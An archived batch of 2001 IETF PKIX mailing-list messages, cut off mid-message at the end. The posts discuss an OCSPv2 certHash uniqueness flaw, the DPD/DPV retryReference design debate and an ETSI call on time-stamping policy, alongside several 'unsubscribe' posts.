Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA09266 for <[e-mail]>; Mon, 26 Mar 2001 08:22:05 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Mon, 26 Mar 2001 08:22:00 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Mon, 26 Mar 2001 08:21:59 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <HR26MDAC>; Mon, 26 Mar 2001 08:21:52 -0800
Content-return: allowed
Date: Mon, 26 Mar 2001 08:21:48 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: OCSPv2: 02: certHash is not unique
To: "'Manger, James H'" <[e-mail]>, "'[e-mail]'" <[e-mail]>
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Hi James,
    I agree with you completely.

The other reason why using the certHash is not  a good idea, is
because the only entity that can respond to the request is the CA. Also, to
be able to respond, a responder needs access to data in a
format that isn't really available to anybody today - unclear why
we would want to standardize on such a format.

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043

-----Original Message-----
From: Manger, James H [mailto:[e-mail]]
Sent: Sunday, March 25, 2001 10:15 PM
To: '[e-mail]'
Subject: OCSPv2: 02: certHash is not unique


Comment on draft-ietf-pkix-ocspv2-02.txt

In section 3.1.2 Certificate Identification, the ReqCert type includes a
certHash field as one option for a client to identify a certificate.  The
syntax for the certHash field is an OCTET STRING.
There is no text describing the certHash field.  I guess it holds a hash of
the certificate.  I guess the hash is calculated over the DER-encoding of
the complete certificate.  There seems to be no indication of the hash
algorithm - perhaps it is always SHA-1.
I guess a certHash value is supposed to match the certificate "fingerprint"
or "thumbprint" that the browsers display.  A browsers relies on a
thumbprint unambiguously identifying a single certificate.  OCSPv2, on the
other hand, relies on a certificate having a unique certHash value.  These
properties - unambiguity and uniqueness - are quite different.  It is
reasonable to assume a certificate thumbprint is unambiguous, but it is
dangerous to assume it is unique for the certificate.
There are a number of ways to alter the encoding of the unsigned portion of
a certificate (signatureAlgorithm field, signatureValue field and outer most
tags).  Such modification don't alter the signed portion so the signature
remains valid, but they do change the thumbprint.  An attacker can modify
the bytes (hence thumbprint) without modifying the semantics of a
certificate.
For instance, consider omitting the NULL signature parameters associated
with sha1WithRSAEncryption in the signatureAlgorithm field.  It is not
unreasonable for a system to still accept such a certificate (particularly
with the "be strict with what you send but lenient with what you receive"
philosophy).  Yet the bytes do change so the thumbprint also changes.
An OCSPv2 responder may have one thumbprint of a certificate in its table of
revoked certificates, but would return "good" if a different thumbprint for
the same certificate appeared in the certHash field.
A better thumbprint (that is unique for a certificate) is a hash over only
the signed portion of the certificate (i.e. the same hash that goes into the
signature).
SOLUTION:  Delete the certHash field from the ReqCert type.


Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA05044; Mon, 26 Mar 2001 07:42:22 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id GN1XW58S; Mon, 26 Mar 2001 07:38:56 -0800
From: "Carlin Covey" <[e-mail]>
To: "Denis Pinkas" <[e-mail]>
Cc: "Paul Hoffman / IMC" <[e-mail]>, "Stephen Kent" <[e-mail]>, <[e-mail]>
Subject: RE: some thoughts re DPD and DPV
Date: Mon, 26 Mar 2001 08:40:13 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
In-Reply-To: <[e-mail]>

Denis,

When I said "client-type" in my previous email, I meant email-client,
browser, VPN-client etc.  I should have said "application."  I think we
are in agreement on this point.  Sorry for the confusion.

Regards,

Carlin

-  Carlin Covey
   Cylink Corporation

-----Original Message-----
From: Denis Pinkas [mailto:[e-mail]]
Sent: Monday, March 26, 2001 2:18 AM
To: Carlin Covey
Cc: Paul Hoffman / IMC; Stephen Kent; [e-mail]
Subject: Re: some thoughts re DPD and DPV

<snip>

> I also agree with Paul that a typical client will
> make a choice among very few policies.  In fact, most clients
> will never make a choice.  The clients and servers will be
> pre-configured with one policy per client-type per enterprise.

I do not believe so. The policy is application dependent. One application
will usually be linked with one policy. Since a client will normally support
multiple applications, he will use more than one policy.

<snip>




Received: from femail8.sdc1.sfba.home.com (femail8.sdc1.sfba.home.com [24.0.95.88]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA27325 for <[e-mail]>; Mon, 26 Mar 2001 06:46:46 -0800 (PST)
Received: from amdk6300 ([24.3.200.232]) by femail8.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20010326144647.KFAV26052.femail8.sdc1.sfba.home.com@amdk6300> for <[e-mail]>; Mon, 26 Mar 2001 06:46:47 -0800
From: "Peter H. Gien" <[e-mail]>
To: <[e-mail]>
Subject: unsubscribe
Date: Wed, 26 Mar 1997 09:52:38 -0500
Message-ID: <003001bc39f5$59fec1d0$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2212 (4.71.2419.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal

unsubscribe


Received: from balinese.baltimore.ie ([e-mail] [194.125.215.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA23919 for <[e-mail]>; Mon, 26 Mar 2001 06:14:09 -0800 (PST)
Received: by balinese.baltimore.ie; id PAA28028; Mon, 26 Mar 2001 15:14:07 +0100 (GMT/IST)
Received: from emeairlsw1.ie.baltimore.com(10.153.25.53) by balinese.baltimore.ie via smap (V4.2) id xma027715; Mon, 26 Mar 01 15:13:24 +0100
Received: from bobcat.baltimore.ie (bobcat.ie.baltimore.com) by emeairlsw1.baltimore.com (Content Technologies SMTPRS 4.2.1) with ESMTP id <[e-mail]>; Mon, 26 Mar 2001 15:12:31 +0100
Received: from baltimore.ie (ip191-24.ie.baltimore.com [10.153.24.191]) by bobcat.baltimore.ie (8.9.3/8.9.3) with ESMTP id PAA32415; Mon, 26 Mar 2001 15:14:37 +0100
Message-ID: <[e-mail]>
Date: Mon, 26 Mar 2001 15:13:22 +0100
From: Stephen Farrell <[e-mail]>
Reply-To: [e-mail]
Organization: Baltimore Technologies Ltd.
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Denis Pinkas <[e-mail]>
CC: Stephen Kent <[e-mail]>, [e-mail]
Subject: Re: some thoughts re DPD and DPV
References: <[e-mail]> <p05010400b6e1961baf8d@[128.33.4.39]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Denis,

> " Steve introduced a nice notion, i.e. to limit the number of paths that the
> client is prepared to accept. It could then be one only or five. If you get
> four what asking for five, this means that you got the best the sever could
> do."

What's the server supposed to do when the client says "5"? Is it supposed
to find all possible paths and return just 5? If so, the protocol doesn't
have a way for the client to recover if the client doesn't like all 5
returned. 

Or, is the server supposed to do whatever it likes (say finding
one) and send that back? In that case, the client who doesn't like the
result has to at some point increase the number in the request. But
hang on, that server already has one path that satisfies the request,
so it'll just send that back and never go looking for more paths. (Unless
the server is stateful per-client of course:-)

Basically, you're not sending the right signals but developing a protocol
which can lead to a kind of livelock (maybe that's not the right term 
though? http://wombat.doc.ic.ac.uk/foldoc/foldoc.cgi?livelock defines it).

retryReference or an equivalent mechanism is needed and I haven't seen
any other worked out proposal for an equivalent mechanism. I'm sure one 
could be proposed, it hasn't so far (or send the URL if I missed it).

> You are ignoring the fact that if the client does not specify trust points,
> the server will. If the client is not pleased with these trust points, then
> it
> should specify itself the trust points. AFAIR, you did not disagreed with
> Steve during the meeting about the number of paths that, in practice, would
> be returned, taking into account the existence of cross-certificates.

But the server hasn't told the client which trust paths it picked, so if 
the client asks again then the client has no way to say that it didn't like 
the previous answer.

> > 3) unnecessary and inefficient bloat: given that 90% (or whatever) of the time
> > any path is a fine answer - we shouldn't bloat 100% of responses for the sake
> > of a small number of cases
> 
> If the criteria is finely tuned, then you are right and only one path will
> be returned. If the criteria is "broad", e.g. three root keys with no other
> constraints, then you may get more and any path is a fine answer to the
> question raised, but not any more when applying additional local conditions.

This is the "that's a bad path construction policy" argument I mentioned
in my first mail.

> I agree with you that "statefull server" might be an overstatement. Let us
> speak of cache management. I would think that it may be appropriate for
> efficiency reasons to keep track of already found paths. This does not mean
> that the leaf certificate must be kept, but that all the CA certificates
> above that path might be kept. Now this cached information should not be
> associated with a retryReference number, so that *any* subsequent client can
> get advantage of a speed improvement as soon as the CA from the leaf
> certificate is the same. 

There's nothing to prevent implementations doing such but that level of
cache management does not need to be visible in the protocol. The path
level does however due to the inherent "incompleteness" of path construction 
policy.

> However, all these details are implementation
> details, not visible at a protocol level. Hence we do not need to support a
> retryReference number.

We clearly disagree.

I think one of the things that Steve K. is keen we do more of is think about
state machines. IMO, the retryReference is a useful trick that matches well with
the state machine folks would implement (and which probably does need more work
in the ocspv2 draft). It seems that the putative alternative (client says: "I'll 
take up to 5") leads to a state machine which (admittedly in rare cases) causes 
the protocol to fail to do its job.

In any case, the ocspv2 proposal contains the retryReference for now and I think 
we've aired the arguments enough for today at least. Probably better to look at
it again in the next draft of ocspv2 and see what we all think then.

Stephen.
-- 
____________________________________________________________
Stephen Farrell         				   
Baltimore Technologies,   tel: (direct line) [phone]
39 Parkgate Street,                     fax: [phone]
Dublin 8.                mailto:[e-mail]
Ireland                             http://www.baltimore.com


Received: from smtpndhm.us.baltimore.com (smtpndhm.us.baltimore.com [206.128.28.203]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA22779 for <[e-mail]>; Mon, 26 Mar 2001 06:09:03 -0800 (PST)
Received: from nsamusamine01.us.baltimore.com (ussweeper1 [10.1.10.39]) by smtpndhm.us.baltimore.com (8.11.2/Elvis.Lives) with ESMTP id f2QE9AZ08142 for <[e-mail]>; Mon, 26 Mar 2001 14:09:10 GMT
Received: from nsamusabh1.us.baltimore.com (unverified) by nsamusamine01.us.baltimore.com (Content Technologies SMTPRS 4.2.1) with ESMTP id <[e-mail]> for <[e-mail]>; Mon, 26 Mar 2001 09:09:56 -0500
Received: by nsamusabh1.cdsnsam.baltimore.com with Internet Mail Service (5.5.2650.21) id <G8SXYCS3>; Mon, 26 Mar 2001 09:11:02 -0500
Message-ID: <[e-mail]>
From: Dave Farrell <[e-mail]>
To: [e-mail]
Subject: 
Date: Mon, 26 Mar 2001 08:58:51 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative ; boundary="----_=_NextPart_001_01C0B5FE.96B9142A"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0B5FE.96B9142A
Content-Type: text/plain; charset="iso-8859-1"

unsubscribe ietf-pkix <mailto:[e-mail]> @imc.org



-----------------------------------------------------------------------------------------------------------------
The information contained in this message is confidential and is intended 
for the addressee(s) only.  If you have received this message in error or 
there are any problems please notify the originator immediately.  The 
unauthorized use, disclosure, copying or alteration of this message is 
strictly forbidden. Baltimore Technologies plc will not be liable for direct, 
special, indirect or consequential damages arising from alteration of the 
contents of this message by a third party or as a result of any virus being 
passed on.

In addition, certain Marketing collateral may be added from time to time to 
promote Baltimore Technologies products, services, Global e-Security or 
appearance at trade shows and conferences.
 
This footnote confirms that this email message has been swept by 
Baltimore MIMEsweeper for Content Security threats, including
computer viruses.

------_=_NextPart_001_01C0B5FE.96B9142A
Content-Type: text/html; charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.50.4522.1800" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT size=2><FONT face="Bookman Old Style" size=3>
<P>unsubscribe <A href="mailto:[e-mail]">ietf-pkix<SPAN 
class=161180714-26032001>@</SPAN>imc.org</A></P></FONT></FONT></DIV><CODE><FONT SIZE=3><BR>
<BR>
-----------------------------------------------------------------------------------------------------------------<BR>
The information contained in this message is confidential and is intended <BR>
for the addressee(s) only.  If you have received this message in error or <BR>
there are any problems please notify the originator immediately.  The <BR>
unauthorized use, disclosure, copying or alteration of this message is <BR>
strictly forbidden. Baltimore Technologies plc will not be liable for direct, <BR>
special, indirect or consequential damages arising from alteration of the <BR>
contents of this message by a third party or as a result of any virus being <BR>
passed on.<BR>
<BR>
In addition, certain Marketing collateral may be added from time to time to <BR>
promote Baltimore Technologies products, services, Global e-Security or <BR>
appearance at trade shows and conferences.<BR>
 <BR>
This footnote confirms that this email message has been swept by <BR>
Baltimore MIMEsweeper for Content Security threats, including<BR>
computer viruses.<BR>
</FONT></CODE></BODY></HTML>

------_=_NextPart_001_01C0B5FE.96B9142A--


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id FAA19376 for <[e-mail]>; Mon, 26 Mar 2001 05:01:41 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id PAA18060; Mon, 26 Mar 2001 15:00:49 +0200
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id PAA19134; Mon, 26 Mar 2001 15:01:01 +0200
Message-ID: <[e-mail]>
Date: Mon, 26 Mar 2001 15:01:24 +0200
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: [e-mail]
CC: Stephen Kent <[e-mail]>, [e-mail]
Subject: Re: some thoughts re DPD and DPV
References: <[e-mail]> <p05010400b6e1961baf8d@[128.33.4.39]> <[e-mail]> <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steve,

(deleted stuff)

> > So the basic question that I ask you is the following: why not retrurn once
> > all these four certification paths ?
 
> 1) the server probably won't have all of 'em to start with (is every server
> implementation going to do an exhaustive search for every new request? what
> about when 1 of 6 LDAP servers doesn't respond to the DPD server?)

You have deleted one paragraph from my previous e-mail that provides you
with an answer. I copy here again for you:

" Steve introduced a nice notion, i.e. to limit the number of paths that the
client is prepared to accept. It could then be one only or five. If you get
four what asking for five, this means that you got the best the sever could
do." 

If you ask for one path, then you will not get more than one (you may get
none !). If you ask for three paths, but 1 of 6 LDAP servers doesn't
respond, 
then you will only get two paths. At some point of time in the future you 
might get more. So I do not see that there is a problem here.


> 2) I disagree about the "4" - you're ignoring different validity periods and
> also caCertificates which, if they exist, can lead anywhere if the client
> doesn't specify trust points

You are ignoring the fact that if the client does not specify trust points,
the server will. If the client is not pleased with these trust points, then
it
should specify itself the trust points. AFAIR, you did not disagreed with
Steve during the meeting about the number of paths that, in practice, would
be returned, taking into account the existence of cross-certificates. 

 
> 3) unnecessary and inefficient bloat: given that 90% (or whatever) of the time
> any path is a fine answer - we shouldn't bloat 100% of responses for the sake
> of a small number of cases

If the criteria is finely tuned, then you are right and only one path will
be returned. If the criteria is "broad", e.g. three root keys with no other
constraints, then you may get more and any path is a fine answer to the
question raised, but not any more when applying additional local conditions.

 
> > For that reason I do not see why we should support a statefull server, which
> > is what retryRefrence implies. :-(
 
> "Statefull server" is an overstatement:-) I'd bet that any sensible DPD server
> code would want to remember paths it had sent in response to requests
> anyway (for speed and anti-DoS reasons). retryReference just leverages that.

I agree with you that "statefull server" might be an overstatement. Let us
speak of cache management. I would think that it may be appropriate for
efficiency reasons to keep track of already found paths. This does not mean
that the leaf certificate must be kept, but that all the CA certificates
above that path might be kept. Now this cached information should not be
associated with a retryReference number, so that *any* subsequent client can
get advantage of a speed improvement as soon as the CA from the leaf
certificate is the same. However, all these details are implementation
details, not visible at a protocol level. Hence we do not need to support a
retryReference number.

Regards,

Denis

> Stephen.


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA15213; Mon, 26 Mar 2001 04:19:12 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id OAA23410; Mon, 26 Mar 2001 14:18:17 +0200
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id OAA17830; Mon, 26 Mar 2001 14:18:34 +0200
Message-ID: <[e-mail]>
Date: Mon, 26 Mar 2001 14:18:57 +0200
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: pkix <[e-mail]>, S-MIME / IETF <[e-mail]>
Subject: ETSI ESI call on Policy requirements for TSAs
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id EAB15215

Policy requirements for Time-Stamping Authorities

The ETSI ESI working group (European Telecommunications Standards Institute,
Electronic Signature and Infrastructure working group) is working on a
standard addressing functional and quality requirements for Time-Stamping
Authorities to form the basis of a generic time-stamping policy.  This work
item is being carried out within the overall framework of the European
Electronic Signature Standardization Initiative (EESSI).

The initial focus of this standard is in support of qualified electronic
signatures (i.e. in line with article 5.1 of the European Directive on a
community framework for electronic signatures) but may be applied to any
application requiring trusted time-stamps of equivalent quality.

The aim of this document is to provide policy requirements equivalent to
those for CA issuing qualified certificates as defined in TS 101 456 
(see below for web site), but targeted at Time-Stamping Authorities.

International, European and national communities, authorities, associations,
standardization bodies, vendors, service providers, users are requested to
provide any information that is relevant to this activity to the editor
for this area of standardization (see below).  

In particular, ETSI ESI requests input on:

· Views on minimum essential requirements, for time-stamping services to
  provide a level of quality such as is necessary in support of legally
  recognised electronic signatures,

· Relevant documents and specifications (draft or approved) - 
  preferably in English

Even if your organization has no specific input to make, indications of
interest in this activity would be welcomed.  We can then keep you 
informed of the availability of drafts for comment.

Response is requested by end April 2001. However, if meeting schedules 
do not make this possible, input at the earliest convenience date 
would be welcomed.

It is planned to produce a first working draft for general review by 
3rd quarter of this year.

Further details, documents, and e-mail list registration on this and 
other activities of ETSI on electronic signature standardization 
(including TS 101 456) may be found on: 
http://www.etsi.org/sec/el-sign.htm

Please send responses to the editor of this document: 
Nick Pope. mailto:[e-mail]

Regards,

Denis


Received: from balinese.baltimore.ie ([e-mail] [194.125.215.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA12413 for <[e-mail]>; Mon, 26 Mar 2001 03:26:58 -0800 (PST)
Received: by balinese.baltimore.ie; id MAA12338; Mon, 26 Mar 2001 12:26:57 +0100 (GMT/IST)
Received: from emeairlsw1.ie.baltimore.com(10.153.25.53) by balinese.baltimore.ie via smap (V4.2) id xma012284; Mon, 26 Mar 01 12:26:42 +0100
Received: from bobcat.baltimore.ie (bobcat.ie.baltimore.com) by emeairlsw1.baltimore.com (Content Technologies SMTPRS 4.2.1) with ESMTP id <[e-mail]>; Mon, 26 Mar 2001 12:25:19 +0100
Received: from baltimore.ie (ip191-24.ie.baltimore.com [10.153.24.191]) by bobcat.baltimore.ie (8.9.3/8.9.3) with ESMTP id MAA23809; Mon, 26 Mar 2001 12:27:24 +0100
Message-ID: <[e-mail]>
Date: Mon, 26 Mar 2001 12:26:10 +0100
From: Stephen Farrell <[e-mail]>
Reply-To: [e-mail]
Organization: Baltimore Technologies Ltd.
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Denis Pinkas <[e-mail]>
CC: Stephen Kent <[e-mail]>, [e-mail]
Subject: Re: some thoughts re DPD and DPV
References: <[e-mail]> <p05010400b6e1961baf8d@[128.33.4.39]> <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Denis,

> I noticed that your were the single one at the IETF meeting advocating the
> need for the retryReference. There migh be other individuals present at the
> meeting or people on the mailing list supporting this idea as well, but up
> to now they have remain silent. :-)

That never seems to bother you, so I'm ok with it in this case:-)

> So the basic question that I ask you is the following: why not retrurn once
> all these four certification paths ?

1) the server probably won't have all of 'em to start with (is every server
implementation going to do an exhaustive search for every new request? what
about when 1 of 6 LDAP servers doesn't respond to the DPD server?)

2) I disagree about the "4" - you're ignoring different validity periods and
also caCertificates which, if they exist, can lead anywhere if the client
doesn't specify trust points

3) unnecessary and inefficient bloat: given that 90% (or whatever) of the time 
any path is a fine answer - we shouldn't bloat 100% of responses for the sake 
of a small number of cases

> For that reason I do not see why we should support a statefull server, which
> is what retryRefrence implies. :-(

"Statefull server" is an overstatement:-) I'd bet that any sensible DPD server
code would want to remember paths it had sent in response to requests 
anyway (for speed and anti-DoS reasons). retryReference just leverages that.

Stephen.

-- 
____________________________________________________________
Stephen Farrell         				   
Baltimore Technologies,   tel: (direct line) [phone]
39 Parkgate Street,                     fax: [phone]
Dublin 8.                mailto:[e-mail]
Ireland                             http://www.baltimore.com


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA05676 for <[e-mail]>; Mon, 26 Mar 2001 02:31:08 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id MAA41900; Mon, 26 Mar 2001 12:30:18 +0200
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id MAA13706; Mon, 26 Mar 2001 12:30:34 +0200
Message-ID: <[e-mail]>
Date: Mon, 26 Mar 2001 12:30:57 +0200
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: [e-mail]
CC: Stephen Kent <[e-mail]>, [e-mail]
Subject: Re: some thoughts re DPD and DPV
References: <[e-mail]> <p05010400b6e1961baf8d@[128.33.4.39]> <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steve (Farrell),

Steve will not reply soon to your e-mail because he advertised that he will
be off on vacation this week. So do not assume that silence from him means
acceptance. :-)

> Steve (Kent),
> 
> Just picking up on this one...
> 
> > 3- we still have some significant disagreement about the nature of the path validation controls to
> > be used for both services, but especially for DPD. Related to this disagreement is the issue of
> > whether an DPD should support incremental queries relative to the same target certificate. I don't
> > think we have seen a concise, comprehensive description of the application model where such an
> > incremental approach is warranted, so I solicit the proponents of this approach to provide such a
> > description, so that we can resolve this issue.
> 
> I'm glad to see that we're tending towards the "abbreviated" DPD/DPV protocol,
> rather than exhaustively specifying options on the wire. The retryReference field
> in DPD is, I believe, necessary regardless of whether we take this sensible
> approach or the more verbose approach.

I noticed that your were the single one at the IETF meeting advocating the
need for the retryReference. There migh be other individuals present at the
meeting or people on the mailing list supporting this idea as well, but up
to now they have remain silent. :-)

> Basically, the issue is that path constuction policies can never be "complete",
> in the sense that there is always the possibility that two paths exist which
> satisfy the policy, but where the application prefers one path over the other.
> (BTW: I simply assert this, I'm not saying I've a proof.)

Since the client may wish to apply additional conditions on the
certification path that he gets back, e.g. looking for the presence of
private extensions, then, in theory, what you say is certainly possible.
However, as Steve (Kent) noticed during the meeting, in practice, no more
than four certification path would ever be returned. 

So the basic question that I ask you is the following: why not retrurn once
all these four certification paths ? 

Steve introduced a nice notion, i.e. to limit the number of paths that the
client is prepared to accept. It could then be one only or five. If you get
four what asking for five, this means that you got the best the sever could
do. 

For that reason I do not see why we should support a statefull server, which
is what retryRefrence implies. :-(

Hoping that your next message can close this thread ...

Regards,

Denis
 
> The inclusion/exclusion of a non-critical application-specific extension
> in one certificate in the path can cause this, as can overlaps in the
> validity fields of certificates (which some application may choose to care
> about).
> 
> What you're left with is the fact that its not actually possible (never
> mind wise:-), to include in a protocol every possible thing that an application
> may care about related to path construction policy.
> 
> Without the retryReference field, the server is basically leaving any such
> application stranded. If the application retries the "meat" of the request,
> then it'll get the same response. The application's only choice is to start
> "guessing" variations on the request which might produce a different response.
> Not a good idea.
> 
> Some folks might counter that this just means that the path construction policy
> being used is "bad", and say that we should just introduce a new path construction
> policy. Well, as you can see from the above I don't think that works in general,
> and even if it did work in lots of cases a) we might end up generating *lots*
> of path construction polices, a recipie for confusion, and b) the resulting
> DPD protocol would still suffer from the problem described in the previous
> paragraph, which sounds like a bad characteristic of a "query" style
> protocol.
> 
> So, we're left with a problem of finding "another", or equally, "the next"
> path that satisfies the relevant path construction policy, and of managing
> the restricted state information necessary for this purpose. (As I said at
> the meeting, the state in question need *not* be DPD-client specific, but is
> rather returned-path-specific, a different thing entirely. A hash over the
> path is probably a good implementation choice for the retryReference value.)
> 
> That's what the retryReference allows - the client, for whatever reason,
> says: "didn't like that path"; the server, if it supports the function (which
> I think it should, at least to handle overlapping validity periods), tries
> to find another path and if it does returns that (with a new retryReference).
> 
> You said concise, so I'll stop now. I can only hope this is comprehensive too:-)
> 
> Hoping this doesn't turn into another of those endless threads...
> Stephen.
> 
> --
> ____________________________________________________________
> Stephen Farrell
> Baltimore Technologies,   tel: (direct line) [phone]
> 39 Parkgate Street,                     fax: [phone]
> Dublin 8.                mailto:[e-mail]
> Ireland                             http://www.baltimore.com


Received: from balinese.baltimore.ie ([e-mail] [194.125.215.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA04669 for <[e-mail]>; Mon, 26 Mar 2001 02:06:52 -0800 (PST)
Received: by balinese.baltimore.ie; id LAA19163; Mon, 26 Mar 2001 11:06:50 +0100 (GMT/IST)
Received: from emeairlsw1.ie.baltimore.com(10.153.25.53) by balinese.baltimore.ie via smap (V4.2) id xma018954; Mon, 26 Mar 01 11:06:07 +0100
Received: from bobcat.baltimore.ie (bobcat.ie.baltimore.com) by emeairlsw1.baltimore.com (Content Technologies SMTPRS 4.2.1) with ESMTP id <[e-mail]>; Mon, 26 Mar 2001 11:04:42 +0100
Received: from baltimore.ie (ip191-24.ie.baltimore.com [10.153.24.191]) by bobcat.baltimore.ie (8.9.3/8.9.3) with ESMTP id LAA19747; Mon, 26 Mar 2001 11:06:47 +0100
Message-ID: <[e-mail]>
Date: Mon, 26 Mar 2001 11:05:34 +0100
From: Stephen Farrell <[e-mail]>
Reply-To: [e-mail]
Organization: Baltimore Technologies Ltd.
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Stephen Kent <[e-mail]>
CC: [e-mail]
Subject: Re: some thoughts re DPD and DPV
References: <[e-mail]> <p05010400b6e1961baf8d@[128.33.4.39]>
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Steve,

Just picking up on this one...

> 3- we still have some significant disagreement about the nature of the path validation controls to
> be used for both services, but especially for DPD. Related to this disagreement is the issue of
> whether an DPD should support incremental queries relative to the same target certificate. I don't
> think we have seen a concise, comprehensive description of the application model where such an
> incremental approach is warranted, so I solicit the proponents of this approach to provide such a
> description, so that we can resolve this issue.

I'm glad to see that we're tending towards the "abbreviated" DPD/DPV protocol,
rather than exhaustively specifying options on the wire. The retryReference field 
in DPD is, I believe, necessary regardless of whether we take this sensible 
approach or the more verbose approach. 

Basically, the issue is that path constuction policies can never be "complete", 
in the sense that there is always the possibility that two paths exist which 
satisfy the policy, but where the application prefers one path over the other.
(BTW: I simply assert this, I'm not saying I've a proof.)

The inclusion/exclusion of a non-critical application-specific extension
in one certificate in the path can cause this, as can overlaps in the
validity fields of certificates (which some application may choose to care
about).

What you're left with is the fact that its not actually possible (never
mind wise:-), to include in a protocol every possible thing that an application 
may care about related to path construction policy.

Without the retryReference field, the server is basically leaving any such
application stranded. If the application retries the "meat" of the request, 
then it'll get the same response. The application's only choice is to start
"guessing" variations on the request which might produce a different response.
Not a good idea.

Some folks might counter that this just means that the path construction policy
being used is "bad", and say that we should just introduce a new path construction
policy. Well, as you can see from the above I don't think that works in general,
and even if it did work in lots of cases a) we might end up generating *lots*
of path construction polices, a recipie for confusion, and b) the resulting 
DPD protocol would still suffer from the problem described in the previous 
paragraph, which sounds like a bad characteristic of a "query" style 
protocol.

So, we're left with a problem of finding "another", or equally, "the next"
path that satisfies the relevant path construction policy, and of managing
the restricted state information necessary for this purpose. (As I said at
the meeting, the state in question need *not* be DPD-client specific, but is
rather returned-path-specific, a different thing entirely. A hash over the 
path is probably a good implementation choice for the retryReference value.)

That's what the retryReference allows - the client, for whatever reason,
says: "didn't like that path"; the server, if it supports the function (which
I think it should, at least to handle overlapping validity periods), tries
